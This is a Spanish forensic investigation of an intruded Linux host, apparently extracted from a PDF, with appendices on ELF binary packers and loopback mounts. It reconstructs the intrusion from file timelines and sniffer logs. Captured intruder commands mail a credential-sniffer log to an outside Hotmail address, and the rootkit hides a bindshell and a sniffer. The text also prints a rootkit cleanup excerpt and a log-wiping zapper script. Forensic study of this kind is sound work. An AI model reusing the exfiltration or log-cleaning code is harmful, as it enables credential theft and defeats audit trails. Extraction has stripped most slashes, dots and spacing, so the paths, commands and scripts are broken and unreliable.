3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

